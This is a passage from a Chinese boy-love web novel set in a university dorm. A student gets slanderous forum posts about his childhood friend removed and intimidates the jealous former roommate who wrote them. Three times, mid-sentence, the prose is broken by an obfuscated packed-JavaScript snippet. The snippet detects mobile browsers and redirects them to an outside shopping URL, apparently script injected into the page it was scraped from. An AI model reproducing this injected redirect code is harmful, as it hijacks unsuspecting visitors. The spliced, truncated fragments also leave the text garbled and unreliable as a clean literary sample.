肖承风没看怼到自己面前的手机,先垂眸看了眼几乎要贴上自己胳膊的舍友,然后稍稍往后让了让,一脚踩住卓正阳屁股下转椅的椅子腿,把人往后蹬开一小段距离。 卓正阳:“……不是,肖神,”他一脸无语,“咱讨论弟弟的事儿呢,咋还强制跟我拉开距离。你嫌弃我啊?” 肖承风重新审视手机里的帖子内容,声音平稳冷淡,“讨论归讨论,你先离远点,保持距离。” 卓正阳一脸受伤地抹抹不存在的泪珠,硬要再贴过去,“男人,你的名字是冷酷。” 冷酷的学神伸手按住他的椅背,把他推得更远,“知道了,你可以休息了,我看后面的。”说完回到电脑跟前,开始不断敲击键盘。 曲柚看着他们拉扯,忍不住嘴角上扬,低头重新将视线放在斑鸠身上,确认小鸟吃够两针管口粮后,开始给小斑鸠掐羽管。 这些羽管是一层薄薄的管状脆皮,从羽毛根部的地方包裹住一小节,让羽毛不能从根部完全舒展开。一般的小鸟都是互相用嘴叼破羽管或者成鸟帮他们完成去掉羽管的过程的。 小斑鸠这会儿也没有妈妈帮忙,曲柚就顺手开掐了。 薄薄的脆皮被掐断的时候,能感受到一种莫名的治愈感,就像小时候掐破气泡纸上的气泡一样。 一根根柔软的小羽毛随着羽管的消失,变得舒展起来,小鸟看起来更蓬松了。 据说鸟类被掐羽管是件很舒服的事,小斑鸠吃饱后半眯着眼缩成一团,毛绒绒的看着十分惬意。 曲柚心里也觉得很愉快。 牙痒痒的,想咬一口小毛团呢。 他把小鸟放回到保温箱里,调成适宜的温度,灯光放暗。毛绒绒的小斑鸠蹲在同学贡献出来的棉质布料上,圆圆的一团,此刻像是新换了一层皮肤,整只小鸟变得新了很多。 它低低地“咕咕”了一声。 曲柚笑眯眯地戳戳它胸脯的羽毛,指尖陷进去,碰到温暖的皮肉。 “乖孩子,睡觉吧。” 他合上保温箱的小门,再次检查一下温度有没有调控好。 卓正阳突然惊喜地一拍大腿。 “我靠,还得是你。肖爹一出手,就知有没有啊。” 曲柚闻声看过去,卓正阳正对着他摇晃着手机,丹凤眼里满是嘚瑟,“看看,这才多会儿,那个帖子已经被锁了。” “啊,删帖了?”曲柚惊讶地扭头看竹马,凑到肖承风身边,杏眼好像在发光,“谢谢哥!你们好厉害,这么快就让他们删帖了。” “厉害的不是我,我只是提供了点线索。”卓正阳坐在学霸身边,感觉胸口一阵膨胀,感觉自己好像办了很牛逼的事一样,谁不喜欢漂亮小孩一脸崇拜地叫自己“哥”呢? 他摆摆手笑嘻嘻道,“我没出什么力,也就提供了点线索,是你哥让帖子删除的。” 啊?曲柚伸着头凑过去想看肖承风的屏幕,兴奋道:“哥,你还有论坛管理员权限啊?好厉害!我看看管理员后台长什么样?” 曲柚没意识他贴的过近,微卷的发丝垂落在肖承风的脖颈处,有细细的痒意。肖承风动了动脖子,眼神落在曲柚侧脸上。 男生下颚线利落漂亮,细嫩的皮肉裹在秀丽的骨架上,下巴尖鼓出一小段温润的弧度。他鼻梁右侧有一颗小小的红痣,冷生生点在白皮肤上,格外抓眼。 他像一块水玉,连气息都是暖香的。 肖承风移开视线,沉默了两秒,才说道:“我认识的人有。” 他让人去查了那几个挑事儿的账号背后的信息,然后找学生会的人删了个帖子。 ip解锁需要一定时间,但删帖子不就是一动手的事,没什么大不了的。 屏幕上是【该贴已无法访问 404】的字样。 竹马从小就护着他,虽然曲柚并不觉得那个帖子里对他的恶意揣测让他有多在意,但还是很开心肖承风为他做的。 他不愿意看到别人说我的坏话。 他在乎我。 就像是给点阳光就灿烂的小动物,曲柚觉得自己心里又装满了快乐与甜蜜。 他这才注意到,自己几乎是贴在了肖承风身边,肩膀抵靠在男生的肩膀上,能感到对方结实的肌肉块,连鼻尖都是竹马身上干净温暖的味道。 哎?什么时候凑这么近的?! 他顿时睁大了眼,往后撤开身子,然后不动声色地偷瞄竹马。 男生靠在椅背上,淡淡地垂眼,手里握着手机在看论坛的帖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189045|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,似乎没什么特别反应。 曲柚松了口气。 卓正阳眯眼看了这俩半天,忍不住又开始阴阳:“哎呦,室我离你三十公分内都不行,弟弟贴你身上你都没反应。” “男人,你的名字是双标。” “不是,”曲柚感觉有点脸红,不知道说什么好,“哥就是没注意我。” “好了小柚子你不用给他找借口!他就是双标怪!”卓正阳一摆手,拒绝听解释。 曲柚还想说什么,就听低着头的竹马以一种非常理所当然的语气淡淡道。 “是这样,他和你们不一样,我对他当然也不一样。” * A大论坛上骂曲柚骂得最狠的帖子,盖了不到100楼就被迅速删帖。此后还有人不死心,开新帖带曲柚的名字来质问为什么要堵学生的嘴、是不是心虚,也被迅速删帖。 至此,大家都知道有人在曲柚背后护着了。于是不敢直接提他大名,转而改用各种代称。 【李涛*,有无人知道猫猫德鲁伊到底是何方神圣?懂得进】 【无恶意。今天论坛动静挺大的,好多人都在讨论。我才知道,我室友的初中同学以前是和猫猫德鲁伊一个高中的,我们在宿舍和他以前同学打电话聊了会儿八卦。据他所听说,猫猫德鲁伊从小除了长得好看,学习方面有点特殊情况,等会儿说。 初中三年,他在他们班上都没交到什么朋友,不是因为他被故意孤立了,而是因为太好看了,其他学生们私下约定谁都不许先和猫猫德鲁伊说与必要交流无关的话,不许私下找他玩。谁要是和猫猫德鲁伊偷偷玩,还会被其他发现的同学揭发检举,被孤立惩罚。 于是初中和他说话最多的是他们班的吊车尾,那个人也很不合群,他们几次想找吊车尾说这个秘密约定都抓不到人,上课就睡,下课就跑,所以干脆不知道其他学生间的约定。 我听到要笑死了,真离谱】 【我艹,所以漂亮宝宝初中三年一直以为同学们不喜欢自己所以不和自己玩是么?他一直以为自己被孤立了所以交不到朋友?呜呜呜呜呜眼泪,绷不住了】 【还没说完,猫猫德鲁伊最离奇的不是被无意孤立这件事,而是他的学习成绩。他平时的成绩(指非期中考期末考之外的考试),和他们班那个吊车尾,轮流坐倒第一第二的宝座,很稳。 但一到那种算入正式成绩的大考试,他一般会考前请假一周,等到考完试,他的排名就会到年级前五分之一。 虽然也不算很高的成绩吧,但这种落差太大了,你们懂这件事让人惊奇的点在哪儿吧?】 【嗯??他在故意掩藏实力么?】 【不是吧,现在还有伪装学渣的人啊?】 【这就是重点所在了,他没有伪装,是真·半学渣。据我室友的同学所说,他偏科特别严重,文科几乎满分,数理化考个20分都困难。】 【啊?那他成绩怎么做到跟过山车似的?教练,教教我,我想学这个装逼.jpg】 【嘿嘿,你们不知道了吧。】 【快说!我刀已经在手里了!再不说我就捅下去了!急死我了!】 【他有秘密武器给他做考前补习的。】 【你说他考前报突击补习班?(大失所望.jpg)】 【不是,猫猫德鲁伊有个特牛逼的哥,他上学的时候和班上那个吊车尾经常说起来他哥怎么样怎么样,其他人听得眼都要红了,他们内部还讨论过,要不要打吊车尾一顿。最后没打成,因为堵不到人】 【就是他那个神秘牛逼的哥给他补习的。他哥比猫猫德鲁伊高一年级,连续三年,次次考试压榜。他甩开第二名多少分要看第二名能考多少】 11. 前室友 011/东山花灯 有关“猫猫德鲁伊”的八卦贴,发帖不到一小时后,也被【404】删帖了。 第二天,肖承风让人查的事有了眉目。 306男寝没人有睡懒觉的习惯,一大早都起来了。 齐昊正在卫生间洗漱,卓正阳凑到肖承风桌下,想看看昨晚的瓜有没有结果。 “啊?怎么是他啊?”卓正阳歪着头靠在肖神椅背后,看他电脑上和别人的微信对话框,语气有点捉摸不透,“也对,是他的话,我就理解了。” 他摸摸下巴,一脸深思地看向旁边正在喂鸟的曲柚。 曲柚的闹铃是宿舍里第一个响的,他迷迷瞪瞪下床后直奔卫生间,被肖承风拉了一把才没一脚踢到墙边的柜子上。 闹铃是用来提示该给小斑鸠喂口粮的。 匆匆洗漱完毕的男生脸颊上还挂着水珠,来不及擦干净就着急出来兑好幼鸟口粮,装进针筒里喂小鸟。 此刻他正坐在自己的转椅上,专注的微微低头看着手下的毛团小鸟,睫羽低垂。微长的头发在脑后抓了个小揪,有些潦草地扎了起来,发丝散落,露出清晰飘落的下颚线。修长的脖颈侧面能看到一块块脊骨微微鼓出,将皮肉撑起细微的隆起 。 清晨阳光从他背面打过来,勾勒出一层柔和的光晕,微卷的发丝尾部呈现出浅淡的金棕色。 他看起来很“美”。超出性别意义的那种漂亮。 卓正阳微微眯眼,拇指和食指比出一个八字卡住自己的下巴,一脸严肃,“好一个漂亮弟弟,不怪那谁想黑他。” “嗯?”漂亮弟弟很有自知之明,耳尖动动,一脸疑惑地扭头看过来。 谁要黑他?听上去他们都认识那个在论坛说自己坏话的人? “没啥,你哥可能找到那个故意黑你的人了,”卓正阳摆摆手,表示不重要,“你放心,这事儿你哥会处理好的,毕竟是他自己惹的风流债。” “卓正阳,下次小组作业别找我了。”冷淡的声音砸过来,将卓正阳脸上嬉笑的神情砸个干净,顿时换上悔不当初的哭丧脸,“不要啊哥哥,爸爸,爹!我错了,我嘴贱!” 曲柚忍不住笑出来,手晃了晃,再低头,桌面上蹲着的小斑鸠被口粮淋了一头。白白的粘稠口粮从它头顶滚落,像是被别的鸟拉在了头上。 它费劲地抬头张嘴叼针管,一只眼半闭,喉咙里发出模糊的“咕咕”声。 曲柚把出粮口重新怼到小鸟嘴里。 他有点疑惑地看向卓正阳,“我哥还有风流债么?” 说不清自己心里是什么情绪,曲柚想,竹马上大学一年了,大学里好看优秀的人那么多,一定有很多人追他哥。但理智上知道,并不代表感情上能很轻松的接受。 他再一次认清一个现实,他哥早晚要和别人进入亲密关系。 他和肖承风不会有任何超越“竹马、发小”这一关系的未来。 心口慢慢堵住了一层厚实的墙,他站在里面束手无策,摸不到、拆不掉。 肖承风淡淡开口,好像并不在意,“我没有。” “咳咳,不是他惹的风流债,我重新措辞一下。”卓正阳收了嬉皮笑脸,胳膊肘抵在肖神的椅背上,对曲柚简单总结,“是你哥不小心被一个神经病缠上过。” 曲柚微微睁大了眼,眼神不自觉滑向沉默不语的竹马。 肖承风没有要打断卓正阳的意思。 于是卓正阳收回斜瞟小组作业之父的眼神,放心开始给曲柚科普。 “他之前不是一开始就到我们宿舍的。我和齐昊一开始住在一起,你哥是下半学期才搬过来的。” “他是为什么搬过来的呢?当时还出过一起很大的风波,我们专业很多人都知道这件事。” 齐昊洗漱完从卫生间出来,用挂在脖子上的毛巾擦着脸,凑热闹一样搭话,“啊,你说那件事啊,当时确实闹得很大,但学校处理很快,所以消息没怎么往外发酵。” “你也知道你哥很受欢迎吧,男男女女都爱找他。”卓正阳挠挠脸,“但其中做出最出格的事情的,是他一个前舍友。” 曲柚脸上已经完全没了笑容,他有不太好的预感。 “你哥有个前室友,趁晚上熄灯睡觉的时候,光着身子爬到他床上去了。”齐昊率先揭露谜底,脸上带着玩味和赞叹的笑意。 曲柚的心脏被揪紧。有男生爬他哥床了。 他没有注意已经吃完口粮试图吐出针管的小鸟,手里的针筒出粮口还稳稳怼在斑鸠嘴里,急得斑鸠“咕咕”个不停。 “然后被你哥揍了几下,断了两根骨头,去医院住了三个月。”齐昊一脸“肖神牛逼” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189046|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的赞叹,“从那以后,学校里对他当面告白的男生一个都没有了,当然,女生多了不少。” 曲柚被震惊到微微张嘴,露出一点白齿。 好消息,爬床男同没有占到竹马便宜。 坏消息,由此可见竹马对待男同毫不留情。 他哥把爬床男同揍进医院三个月,这得是多恶心男同,才能几拳就把人骨头干折。 他是知道一点竹马的武力值有多高的,所以能明白,这个结果是肖承风一点余力都没留的结果。 可他也是男同啊……曲柚眼神失去高光。 坏了,自己以后不会也被竹马揍进医院吧。 “啊!你干嘛替我说高潮部分!这是最精彩的反转!”卓正阳双手抱头哀嚎。 嚎了两秒又正常下来,卓正阳耸耸肩,“所以我刚才说是他的话就不奇怪了。估计是看论坛上有很多人乱猜你和你哥关系的,眼红了吧,想泼点脏水抹黑你。他后来都不敢出现在肖神面前了,就连必修大课也是躲得远远的,也就只能网上刷刷存在感了。” “没关系,我去找他一下。”肖承风站起来,合上笔记本电脑,长腿几步迈到曲柚面前。 曲柚微微扬起脸,他没看到肖承风的脸,视线只停留在对方胸口的位置。头顶被一只手按住揉揉,温暖的掌心抚摸着他。 “他之后不会再影响你的。”男生的声音冷淡中带着一丝认真的承诺,说完就抽开手,径直走出宿舍。 “肖神你冷静处理,别再把人揍进医院啊!不至于!”卓正阳在后面喊话。 齐昊窝在自己的椅子上带上十字架项链,唇边带笑,“他为自己的话肯定不会,涉及到宝贝弟弟,就不一定了。” 曲柚脑子里乱乱的。 竹马安慰他,高兴。 竹马放狠话出门了,害怕。 肖承风什么意思?他不会又要出手解决吧? 不用啊哥们,别因为滥用暴力被处分了! 收拾完阴魂不散的前室友,下一个挨揍的,是不是就是自己了? 曲柚终于意识到叼着空针管的小鸟,他抽出针筒,双手捧住小鸟举刀自己跟前,盯着小鸟的小黑豆眼,伤心地掂量自己的小身板够肖承风揍几下的。 接下三拳够不够? 起码要比那个前室友多抗一拳吧? 12. 如果你管不住自己的手和嘴 012/东山花灯 苗辛蜷缩在宿舍书桌前的座椅上,拇指机械地刷着屏幕,没由来地心慌。 他不确定是因为熬了一晚没睡导致的心跳失序,还是有什么别的原因。 他眼睛盯着手机屏,白屏黑字不断划过,却根本看不进任何一行字。大脑已经拒绝分析字符了。 舍友喊他两声,他都没反应,直到被人推了一把肩膀,才听到外界的声音。 “你怎么了?脸这么白?”舍友被他转过来的脸吓了一跳,“一晚上没睡啊?你眼睛都红了!” “怎么了?”苗辛问舍友,沙哑的声音让他自己都没反应过来。 “我刚问你要不要晚上一起出去吃饭,你回来之后咱们都没出去聚聚……”舍友皱着眉看他,手往前伸了伸,似乎想摸他的额头,“你还好吧?发烧了?” 快触碰到的时候,手指又不自然地蜷缩回去了。 “没事。”苗辛跟着垂下眼,语气低得几乎听不见。 “你们去吧,我不去了。”他的视线划过舍友那只背到身后的小臂,又看到了正对着他视线的那张空床铺,眼底闪过一丝嘲讽。 “哎,要不你白天请个病假休息一下,晚上看情况吧。”舍友脸上也有点犹豫。 “我就说不用叫他,他肯定不会跟我们出去的。”另一个舍友小声抱怨了一句,往门口走,“赶紧走,待会儿还有课呢,别耽误时间。” 苗辛没吭声,垂下的额发遮住了他的眼睛。 “那我们先走了,你好好休息。”舍友犹豫了一秒,提起书包跟着走了。 两人拉开门正要出去的时候,突然被门外正准备抬手敲门的人吓了一跳,往回退了几步。 门口站着的男生头顶快要碰到门框,他放下手,对门口的人点了下头,视线往里瞥了一眼,“苗辛在么。” “哎?肖,肖神?”舍友措不及防的声音传入苗辛的耳朵,“在,他在的”。 苗辛瞳孔有一瞬间紧缩,反射性地抬头看向门口,眼底带着他自己都没意识到的期待和慌乱。 下一秒,他又低下头,无措地抓着自己还没换下来的睡衣,懊恼自己为什么不早点去洗漱换衣服。 头发也没梳,肯定很乱。他胡乱地伸手扒拉了两下脑袋,希望自己能看起来尽量好点。 “有什么事么?”舍友已经下意识从门口中间站到边上,给一脸冷意的肖承风让出了地方,又不敢直接走掉。 “找人说句话。”肖承风说着,迈步往宿舍里走。 他一脸冷漠,盯着视线尽头苍白着脸看他的瘦小男生,这种前来干架的气势让原本准备出门的舍友不敢就这么直接走。 “哎哎,肖神,之前的事儿已经过了,不管你找他说什么,不能再过分啊。” 另一个舍友也停在门口没吭声,不过他这会儿不着急上课了,天大地大看热闹最大。 肖承风没管别人,他站到苗辛面前,用很平淡语气说,“那个【追随者】是你。” 他说的没头没尾,两个舍友却都懂了。昨天论坛上闹得沸沸扬扬,有几个账号很活跃,在黑一个大一新生。新生不特殊,特殊的是这个新生似乎和肖承风有点不清不楚的关系。 两个舍友对视一眼,瞬间明白了,这是在网上说人家坏话,被人线下算账了。 原本准备上去分开俩人的舍友也有点迟疑了。 肖承风分明没有任何暴起打人的动作,也没有情绪激动地骂人,他只是平静地站在那里,这个屋子的空气就像被挤压了一样,又冷又紧,憋得人喘不过气。 苗辛在肖承风说出他的论坛网名的时候,肩膀抖了抖,缩着头不敢看他。 他在头脑里想象自己勇敢地抬头面对肖承风,和他据理力争,问他为什么要为了一个只有脸的花瓶来质问他;又或者一把搂住肖承风狂热地亲吻他,然后被他愤怒地掐住喉咙,死死锁住自己的身体反吻回来…… 激烈的肾上腺素让苗辛的大脑极度兴奋,嫉妒又惶恐。 因为他知道…… 下一秒,头皮传来一阵麻意。 苗辛被人揪着头顶的那片发丝,毫不留情地拎起来那张几乎要埋到胸口的脸。 “说话。”冷冷的声音,没有丝毫怜悯与不忍。 他看见了肖承风那双毫无感情的黑色眼眸。 论坛上那些失败的告白者们说,肖神的眼睛永远像是空的,谁都看不进去。他甚至像个机器人,没有情绪。 苗辛感受着头皮上迟缓传来的火辣辣的疼痛拉扯感,嘴唇不受控制地张开,他忽然有一秒钟走神。 他想,他们都说错了。他分明从肖承风的眼里看到了被挑衅的怒意。像是大型猛兽被人践踏了领地范围,漠然地前来消灭不知死活的蠢东西。 肖承风根本没把他放在眼里。 苗辛颤抖着喘气,眼眶里控制不住地溢出泪水。他本来就熬了一宿,红血丝遍布在眼睛里,这会儿被泪水浸润,显得一双眼睛红得要滴血。 舍友看见肖承风这一下差点把苗辛掀翻过来,紧张得吓一跳。 他小声在肖神后面劝,双手抬在半空中抖动安抚,却不敢真的拉住肖承风,“算了算了,肖神,他没什么恶意。” 苗辛哽咽了一下,一副被吓怕了的样子,抖着声音说,“是,是我。我,我不知道……”我不知道你这么在乎他。 泪水压制不住,顺着眼眶留下来,划过颤抖的唇角。 肋骨又传来隐约熟悉的疼痛,像有无数只蚂蚁在撕咬他的胸腔。 苗辛觉得自己好像被丢进了火坑,毒汁浸泡着他,烈火灼烧着他,在在恐惧中,他尝到舌尖淬出的苦意。 那是嫉妒的味道。 肖承风垂着眼,就算看见对方的眼泪也没有放松一丝力道。 “如果你管不住自己的手和嘴,我可以帮你。” 他声音凉薄,光是听他的语气,就知道他一定是说到做到的。 而苗辛之前已经领教过肖承风的“帮”了。 他在医院躺了整整三个半月。 他反射性颤抖起来,双手抬起来想去拉自己头顶那只像是铁箍般的手,却不敢拉,只留着泪求饶。 “不,我不敢了,我不会再给他造谣了……” 肖承风垂眼审视面前这张痛哭流涕、充满懦弱与无能的脸,面无表情地撒开手,一句话都没多说。 他转身对一脸迟疑的两个前舍友点了点头,去卫生间洗了足足两分钟手,出门了。 两个舍友面面相觑,安静如鸡。活爹没出门,他们也不敢出门。 任何一个在这个宿舍的人都能感觉得出来,他嫌苗辛脏。 苗辛缩着肩膀捂住脸,窝在椅子上颤抖哭泣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189047|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两个舍友对视一眼,一个摇摇头直接出门了,留下一句不咸不淡的“自作孽不可活”。 一个走过来小心拍了拍他的肩膀,努力挤出一句安慰,“你,今天还是请假休息吧,我帮你给老师请病假。” 宿舍门被带上。 苗辛哭泣的声音渐渐减弱,他放下手,指甲深深嵌入掌心,留下深红色的痕迹,盈满泪水的眼里,是扭曲的不甘与妒意。 凭什么。凭什么!肖承风不是厌同么?不是不能忍受和男人接触么?为什么会对那个人例外!? * 肖承风在回去的路上,扫了一眼校园论坛。 【追随者】的账号被封,之前在论坛上发表过的所有言论都被删除了。 涉及网暴和恶意议论曲柚的帖子也都被删了。只剩下一些夸颜值的帖子,不痛不痒得挂在那里。 肖承风不小心点进一个帖子里,里面在夸曲柚长得好看。 配图是曲柚在夕阳橘红色的光里,垂眸的侧颜。男生面无表情的时候,那股冷艳的气质就会被长相完全带出来,像是开在冰山上的玫瑰,让人不敢靠近。 下一章图是曲柚抱着一只丑鸟,笑得温柔又开心。 他面无表情给主楼点了个赞。 随便往下滑了滑,都是夸曲柚漂亮的,有叫美女哥的,有喊宝宝的。 突然,肖承风停下滑动的手指,往回翻看屏幕。 【滚开,你们没有自己的老婆么?这是我老婆。(保住不撒手.jpg)】 这句话起了个坏头。 下面全是花式喊曲柚老婆的,还有意淫曲柚在他们床上的。 肖承风没意识到自己微微皱起了眉。 他直接右上角点举报。 准备点下去之前,取消举报,翻回主楼,看了屏幕两秒,点击保存图片到手机。 然后顺利举报该贴。 举报原因,肖承风在几个原因里看了看,选了【煽动纠集】。 * 从肖承风出门到回来,也就不过十分钟。 曲柚和舍友们有一搭没一搭的聊天,手里抚摸着小斑鸠的羽毛缓解紧张。 “哎柚子,帖子里说的是真的么?你以前成绩不太稳?”卓正阳蹲在曲柚旁边,手指戳戳小鸟的羽毛。 “嗯,是真的啊,以前是我哥给我补习的。” “啊?你哥,肖神这么牛逼么?我看帖子里有人说大考前给你补一周,就能从吊车尾补到年级前五分之一啊?” “是啊,高中有一次期中考试我还差点考进年级前十。”曲柚没什么藏着掖着的,实话实说。 齐昊沉默了一会儿,摇摇头,“我知道他牛,没想到这么牛。” “嗯,我哥从小就很厉害,他一只罩着我的。”曲柚笑笑,“所以论坛里说的那些我一点都没觉得有什么。” “我有个这么厉害的哥,骄傲还来不及。他们那么说我可能是嫉妒我吧。”他说这话的时候,下巴微微抬起,一副有荣与焉的样子。 齐昊和卓正阳看着他这幅笨蛋兄控的样子,齐齐沉默了一下。 卓正阳离得近,没忍住,直接上手搓了搓曲柚的脑袋。 小孩儿就乖乖被他揉,笑着也不反抗。 妈的,有个这种漂亮又可爱的弟弟,肖承风他是真好命啊。 下一秒,宿舍门被推开了。 13. 我又不喜欢男人 013/东山花灯 肖承风推开门,第一眼看见的就是被人按住脑袋搓的曲柚。 男生放松地坐在舍友身边,微卷的发丝轻轻摇晃,丝毫不觉得被男人揉脑袋有什么不对,唇色淡粉,笑得腼腆而单纯。 晨光散射状射入室内,有一束光幸运地贴附在男生雪白的颈子上,肖承风能隐约看到那层薄薄的皮肉下,淡青色的血管。 曲柚惊讶地看向门口。 没想到竹马回来这么快,他下意识想把头上的手挪开。但没挪动。 “哎,回来好快,怎么样,”卓正阳看到人家正牌哥来了,笑嘻嘻道,“警告那个人了?这下他应该不会再搞事了。” 肖承风走过来,很自然地拿掉曲柚脑袋上那只把他头发搓乱的爪子,用手给男生理了理头发,漫不经心地说:“只要他有脑子,就知道什么该说什么不该说。” 指尖穿梭在发丝间,温柔地分开胡乱交错的头发,重新捋顺。 谁都能感觉出肖承风周身的气压有低沉,于是都没说话。齐昊若有所思地看着那边一站一坐的两个人,总觉得有点说不出的不对劲。 头顶有点痒,曲柚忍不住眯眼,唔,想让竹马帮他挠头。小时候他经常缠着肖承风让他给自己摸头,指腹在头皮上轻缓有力地揉搓,能直接让曲柚昏睡过去,堪称灵魂提取手法。 可惜竹马只帮他扒拉了几下头发,就抽手走了。 他还挂念着刚才舍友们的猜测,直接就问了,“哥,没打人吧?” 卓正阳睁大眼看曲柚,这孩子怎么说话这么直接! “没有。”竹马淡定回应。 把人头发揪起来和人对视,并友好告知他管好嘴和手,除了把人吓哭,期间没有发生任何肢体冲突。这肯定不算打架的。 “好哦,没有就行,不然闹大了要吃处分的。”曲柚把小鸟塞进保温箱,适当调低一些温度。 “肖神平时还是挺稳的,我唯一一次听说他暴起揍人,还是有人爬他床的时候。”卓正阳耸耸肩回身收拾自己的书包,准备好今天要用的笔记本,准备出门上课。“那时候我就知道,他是真恐同。” “不算恐同吧,”齐昊已经收拾干净,喷好香水,拿起书包先走了。他眼角划过怔愣在一边的曲柚,似笑非笑,“真恐的话也没见他恐我啊。就是厌恶同到自己身上的男人吧。” 卓正阳跟着齐昊走出去,挠着头搭话,“啊,这倒是,只要别gay到他身上,肖神无所谓的。” 两个舍友都走了,曲柚眼光滑到竹马身上,说不出心里是什么滋味,他微微歪头小声问,“哥,你讨厌喜欢你的男人么?” 他俩从来没有讨论过有关同性恋的话题。 曲柚不知道自己为什么突然想问这个问题。 肖承风听到这话就想到苗辛以前看自己那种纠缠痴迷的眼神,还有去年那个晚上,凑到自己耳边湿热黏腻的呼吸和狂热紧张的告白,以及刚刚才看到的那张哭得乱七八糟的脸,那些统统让他觉得无比排斥。他条件反射般皱了皱眉,冷淡道:“我又不喜欢男人。恶心。” 别来沾边。 男生帅得没有死角的脸上,绝对没有一丝厌恶是伪装出来的,曲柚看得清清楚楚。 曲柚垂下眼睛,轻轻“哦”了一声,干巴巴地不知道说什么。平时很能说点捧场话的嘴,这会儿张张合合,蹦出了一句,“我也是。” 胸口并没有想象中酸涩的感觉,只是空空的,像是有个透风的洞口,风呼呼吹进来,在他身躯里发出呜呜的共鸣,像是风哭泣的声音。 他早就知道的,只不过再次从竹马嘴里得到了肯定的答案而已。 斑鸠吃饱了,回到温暖的窝里——曲柚用干燥的草枝堆在保温箱的旧棉布上给它围起来的——满足地“咕咕”了两声,开始眯眼打瞌睡。 肖承风单肩背上自己的包,顺手帮曲柚也拿上书包,“走吧。” “谢谢,不用送我了,我自己去吧。”曲柚从竹马手里接过书包,自己背上包走了,丝毫没给肖承风说话的机会。 平时早上都是肖承风把他送到兽医系大楼下才分开走的,今天他不想和肖承风一起走了。 被他落在身后的人低头看了眼自己落空的手掌,手指微蜷,墨黑的丹凤眼划过一丝莫名。 * 上午上完课,曲柚没收课本,低着头装作看书的模样开始发呆。 除了上课他还能勉强听进一点老师讲授的专业课内容,下课的时候他的脑子就和浆糊一样,越搅越粘,脑子里肖承风那句“我不喜欢男人,恶心”在不断盘旋。 他知道肖承风没有针对任何人的意思,就是单纯的觉得对他有性趣的男人恶心。 但曲柚总觉得“恶心”这个词可以放到自己身上。 他喜欢肖承风,他从小就喜欢和竹马拥抱,拉手,一起抱着睡觉,让竹马背背,长大了还幻想过肖承风的身体,幻想他们接吻。 他也是“恶心”的么? 曲柚想,他不想有一天被竹马也用那种皱眉的表情看着,或者一脸为难地看着他,说他们做不成兄弟也做不成朋友了,最好离远点。 要怎么离远点呢?搬宿舍又搬不出去。 “哎,柚哥,”前排的同学转过身,伸手在他眼前晃晃,“跟你说话呢?怎么愣神儿了?” 曲柚猛地一抬眼,才突然发现身边围了几个同学。 他有些懵地看着其中一个熟脸,“怎么了,婷婷?” 武婷婷一脸担忧地看着他,推推镜框,“我昨晚就跟你说别看论坛,结果你还是提前看了。柚啊,别管论坛上那些言论,都是红眼病嫉妒你长得好看还有实力的。” “对啊,当他们放个屁就行!”有同学跟着安慰道。 李明浩有些歉疚地跟他道歉,“昨天我不发给你那个链接就好了,怪我手太快了。” 虽然昨晚曲柚给他回复的消息像是没事人似的,但今天上课一看,这漂亮同学就跟霜打过似的,整个人没了精气神,下课更是头一低就开始盯着一处两眼放空,不知道在想什么,整个人像是被掏空。 但越是脆弱就越是吸引人,那股将碎未碎的样子,让他显得像是眼光下的玻璃美人,被阳光笼罩的皮肤白得的几乎要透出光来。连上课都有人在抓拍曲柚。 怪不得那帮小姑娘都喜欢什么“忧郁美少年”,确实很有那种让人移不开眼的气场。 曲柚这才知道他们是误会了,于是笑了笑,“我没有因为那个难过,论坛上那些话我后来都没看了,无所谓的。” 这在外人看来就是强撑坚强的发言了。 “嗨,那些人就是瞎造谣,傻子才信论坛上的话呢。”有同学抱着胳膊安慰曲柚,“我们都知道,能考进来都是靠你自己的本事,就算真的上过辅导班,考试也是你自己去考出来的。再说了,哪个学生不上辅导班?自己没本事考出来的分,别人考出来了就觉得人家手段不公平,别太好笑。” 曲柚垂眼一秒,再抬眼又撑起笑容,“其实论坛里说的没错,确实有人给我补习,我只是运气好遇到了外挂支援。但考试确实是我自己考的哦。” “哇,那你外挂挺强的啊,真的像论坛里说的那么牛逼吗?考前复习一周就能带你起飞?”同学们看到曲柚这么坦诚的交底,倒也没了之前的小心翼翼,有点好奇地问他。 曲柚不好意思地笑笑,“是有考前一周突击复习的事情发生,但只在初中还算有点用。到高中后,基本上我每周都会找人辅导的。” 其实高中的时候,几乎每天晚上他都会找肖承风写作业,遇到不会的随时问。一周找五天,剩下两天他找不到竹马的人,第二天追问也问不出什么结果,后来曲柚只得作罢。 “我靠,那就是真的了,真有这么厉害的人啊。也是学霸啊。” “我就是缺少这样一个超强外挂,不然我没准今年就能拿奖学金考进来了。” 没人问那个给曲柚补习的人和他的关系,大家都比较有分寸,八卦可以适度八卦,但刨根问底就没趣了。 